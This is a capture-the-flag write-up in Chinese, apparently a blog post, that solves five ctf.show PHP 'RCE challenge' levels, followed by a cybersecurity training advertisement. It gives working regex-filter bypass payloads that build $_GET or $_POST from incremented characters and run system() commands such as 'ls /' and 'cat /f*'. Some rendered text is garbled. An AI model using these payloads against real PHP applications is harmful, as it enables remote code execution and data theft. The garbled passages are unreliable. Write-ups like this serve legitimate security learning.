1、ctf.show每周大挑战之RCE极限挑战
php的eval()解释:
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
return 语句会立即终止对字符串的计算。
返回值:除非在代码字符串中调用 return 语句,则返回传给 return 语句的值,否则返回 NULL。如果代码字符串中存在解析错误,则 eval()
函数返回 FALSE。
2、RCE挑战1
如下图所示,POST传参时,参数名为code,后台对 “(”、“.” 做了替换。
如何才能查找到想要的flag呢?执行远程命令使用 system(‘ls /’); 或使用反引号 ls /
;
如上图所示,使用post的code参数传参时,echo ls /
,显示出系统命令执行的结果,看到有个f1agaaa文件,看似是flag文件,再查看该文件内容 echo cat /f1agaaa
,这里也可以使用通配符进行内容查看 echo cat /f*
,获取到flag,如下图所示:
3、RCE挑战2
如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。
先确认哪些字符可传入。
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i)." ";
}
}
//post可传入的字符如下:
// ! $ ' ( ) + , . / ; = [ ] _
从题目可以看出post传参被正则限制的厉害,想办法再同时进行get传参。使用数组绕过,获取数组名的第一个字符A,通过变量自增,组装$GET[],以便达到get传参,执行远程命令。
$_=[]._; //$_变量,[]默认表示数组名Array,._ 表示数组名Array拼接上字符'_'
var_dump($_); //输出变量内容为:"Array_"
$__=$_['!'==',']; //里面判断结果为false,即$_[0],即取字符串"Array_"[0] 下标为0的字母,即"A",赋值给变量$__
$__++;$__++;$__++; //$__变量自增,值为B、C、D
$___=++$__; //$___变量赋值为E,$__变量当前值为E
++$__; //$__变量值自增,当前值为F
$___=++$__.$___; //$__变量值自增,当前值为"G",拼接变量$___的值"E"后,再赋值给变量$___,其值为 "GE"
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; //$__变量自增,值为H、I、J、K、L、M、N、O、P、Q、R、S
$___=$___.++$__; //$__变量值自增,当前值为T,$___变量的值"GE"拼接"T",再赋值给$___变量,其值为"GET"
$_='_'.$___; //'_'拼接$___变量的值"GET",后再赋值给$_变量,其值为"_GET"
$$_[_]($$_[__]); //即组装出$_GET[_]($_GET[__]),以便get传参,参数名为_和__,如_参数传参为system,__参数传参为ls /,即get传参后拼接出system('ls /')命令,以便eval去执行
//post传参
ctf_show=$_=[]._;$__=$_['!'==','];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;$$_[_]($$_[__]);
//get传参
?_=system&__=ls /
如下图所示,拼装了一个
G
E
T
[
]
(
_GET[_](
GET[](_GET[__]);组合,传递2个参数来达到执行 system(‘ls
/’);的目的(尝试只传递一个参数$GET[]接收 system(“ls /”)参数,访问时没什么反应,没想明白为何不行…)。
如上图所示,get参数_传system值,参数__传ls
/值,可以查看到根目录有个f1agaaa文件,貌似是flag文件,如下图所示,参数_传system,参数__传cat /f1agaaa,打开得到falg。
//post传参
ctf_show=$_=[]._;$__=$_['!'==','];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;$$_[_]($$_[__]);
//get传参
?_=system&__=cat /f1agaaa
//或get传参
?_=system&__=cat /f*
4、RCE挑战3
如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。
先确认哪些字符可传入。
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i)." ";
}
}
//post可传入的字符如下
// 0 $ 1 ( ) + , . / ; = [ ] _
从题目可以看出post传参被正则限制的厉害,想着同时进行get传参,但是限制了post参数长度(<=105)。使非数字绕过,_/_非法运算时返回NAN,通过变量自增,组装$POST[],以便达到post传参,执行远程命令。
注意:之前好奇为啥 $d1 =
‘ab’.‘cd’[0],输出值为"abc",这里涉及到运算优先级问题,‘cd’[0]的值为"c",再和前面的’ab’拼接后,即"abc"。
$_=(_/_._)[0]; //$_变量的值为"NAN_"[0]的值,即值为"N"
$_0=++$_; //$_变量自增后,值为"O",且再赋值给变量$_0,且其值为"O"
$_0=++$_.$_0; //$_变量增增后,值为"P",再拼接变量$_0的值"O",再赋值给变量$_0,即值为"PO"
++$_;++$_; //$_变量增增后,值为"Q"、"R"
$_0.=++$_; //变量$_0变量的值为"PO",再拼接$_变量增增后的值"S",再赋值给变量$_0,即值为"POS"
$_0.=++$_; //变量$_0变量的值为"POS",再拼接$_变量增增后的值"T",再赋值给变量$_0,即值为"POST"
$_=_.$_0; //变量$_重新赋值为"_"拼接变量$_0的值"POST",即值为"_POST"
$$_[0]($$_[1]); //替换$_0变量的值"_POST"后,即组装出 $_POST[0]($_POST[1]),以便post传参,参数名为0和1,如0参数传参为system,1参数传参为ls /,即post传参后拼接出system('ls /')命令,以便eval去执行。
//post传参
ctf_show=$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;$$_[0]($$_[1]);&0=system&1=ls /
如下图所示,拼装了一个
P
O
S
T
[
0
]
(
_POST[0](
POST[0](_POST[1]);组合,传递2个参数来达到执行 system(‘ls
/’);的目的(尝试只传递一个参数$_POST[0]接收 system(“ls /”)参数,访问时没什么反应,没想明白为何不行…)。
如上图所示,post参数0传system值,参数1传ls
/值,可以查看到根目录有个f1agaaa文件,貌似是flag文件,如下图所示,参数0传system,参数1传cat /f*,打开得到falg。
//post传参
ctf_show=$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;$$_[0]($$_[1]);&0=system&1=cat /f*
疑问:post的参数再进行post传参不被正则过滤掉!?
同理,也可以尝试使用该方法查找RCE挑战2的flag。
//post传参
ctf_show=$_=(_/_._)['!'==','];$__=++$_;$__=++$_.$__;++$_;++$_;$__.=++$_;$__.=++$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=cat /f*
5、RCE挑战4
如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。
先确认哪些字符可传入。
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i)." ";
}
}
//post可传入的字符如下
// $ ( ) + , . / 0 ; = [ ] _
从题目可以看出post传参被正则限制的厉害,想着同时进行get传参,但是限制了post参数长度(<=85)。使非数字绕过,_/_非法运算时返回NAN,通过变量自增,组装$POST[],以便达到post传参,执行远程命令。
注意:KaTeX parse error: Expected group after '_' at position 1: _̲_=. + + (这里涉及 3 个运算符, = 、 . 、 + + ,其中 + + 运算符优先级最高, _++(这里涉及3个运算符,= 、 . 、 ++,其中++运算符优先级最高, ++(这里涉及3个运算符,=、.、++,其中++运算符优先级最高,++运算后, 变 量的值为 " P " ,其中 . _变量的值为"P",其中 . 变量的值为"P",其中._++,表示拼接变量$_自增前的值"O")
$_=(_/_._)[0]; //变量$_的值为"NAN_"[0],即值为"N"
++$_; //变量$_的值自增后,值为"O"
$__=$_.$_++; //变量$_的值自增后,值为"P",再拼接变量$_自增前的值"O",再赋值给变量$__,其值为"PO"
++$_;++$_;++$_; //变量$_的值自增后,值为"Q"、"R"、"S"
$__.=$_++.$_; //变量$_的值为"S",再拼接自增后的值"T",再拼接到变量$__(值为"PO")的后面,最后再赋值给变量$__,即值为"POST"
$_=_.$__; //"_"拼接值为"POST"的变量$__,再赋值给变量$_,即值为"_POST"
$$_[_]($$_[0]); 替换$_变量的值"_POST"后,即组装出 $_POST[_]($_POST[0]),以便post传参,参数名为_和0,如_参数传参为system,0参数传参为ls /,即post传参后拼接出system('ls /')命令,以便eval去执行
//post传参
ctf_show=$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);&_=system&0=ls /
如下图所示,拼装了一个
P
O
S
T
[
]
(
_POST[_](
POST[](_POST[0]);组合,传递2个参数来达到执行 system(‘ls
/’);的目的(尝试只传递一个参数$POST[]接收 system(“ls /”)参数,访问时没什么反应,没想明白为何不行…)。
如上图所示,post参数_传system值,参数0传ls
/值,可以查看到根目录有个f1agaaa文件,貌似是flag文件,如下图所示,参数_传system,参数0传cat /f*,打开得到falg。
//post传参
ctf_show=$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);&_=system&0=cat /f*
6、RCE挑战5
如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。
先确认哪些字符可传入。
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i)." ";
}
}
//post可传入的字符如下
// $ ( ) + , . / ; = [ ] _
字符长度如何再减少呢?直接将_POST当做post参数的参数名。
$_=(_/_._)[_]; //变量$_的值为"NAN_"[0],即值为"N"
++$_; //变量$_的值自增后,值为"O"
$__=$_.$_++; //变量$_的值自增后,值为"P",再拼接变量$_自增前的值"O",再赋值给变量$__,其值为"PO"
++$_;++$_; //变量$_的值自增后,值为"Q"、"R"
$$_[$_=_.$__.++$_.++$_]($$_[_]); //变量$_的值自增后,值为"S"、"T",并将其拼接到一起"ST",再拼接到$__变量(值为"PO")之后,即值为"POST",
//在再前面拼接"_",即值为"_POST",并赋值给$_变量,再组装成$_POST[]($_POST[_])
//post传参
ctf_show=$_=(_/_._)[_];++$_;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
第三种就是去找培训。
接下来,我会教你零基础入门快速入门上手网络安全。
网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。
第一阶段:基础准备 4周~6周
这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
第二阶段:web渗透
学习基础 时间:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
配置渗透环境 时间:3周 ~ 4周:
① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。
渗透实战操作 时间:约6周:
① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
以上就是入门阶段
第三阶段:进阶
已经入门并且找到工作之后又该怎么进阶?详情看下图
给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
![](https://i-blog.csdnimg.cn/blog_migrate/af3a924607de8e4ff86e030613852476.jpeg)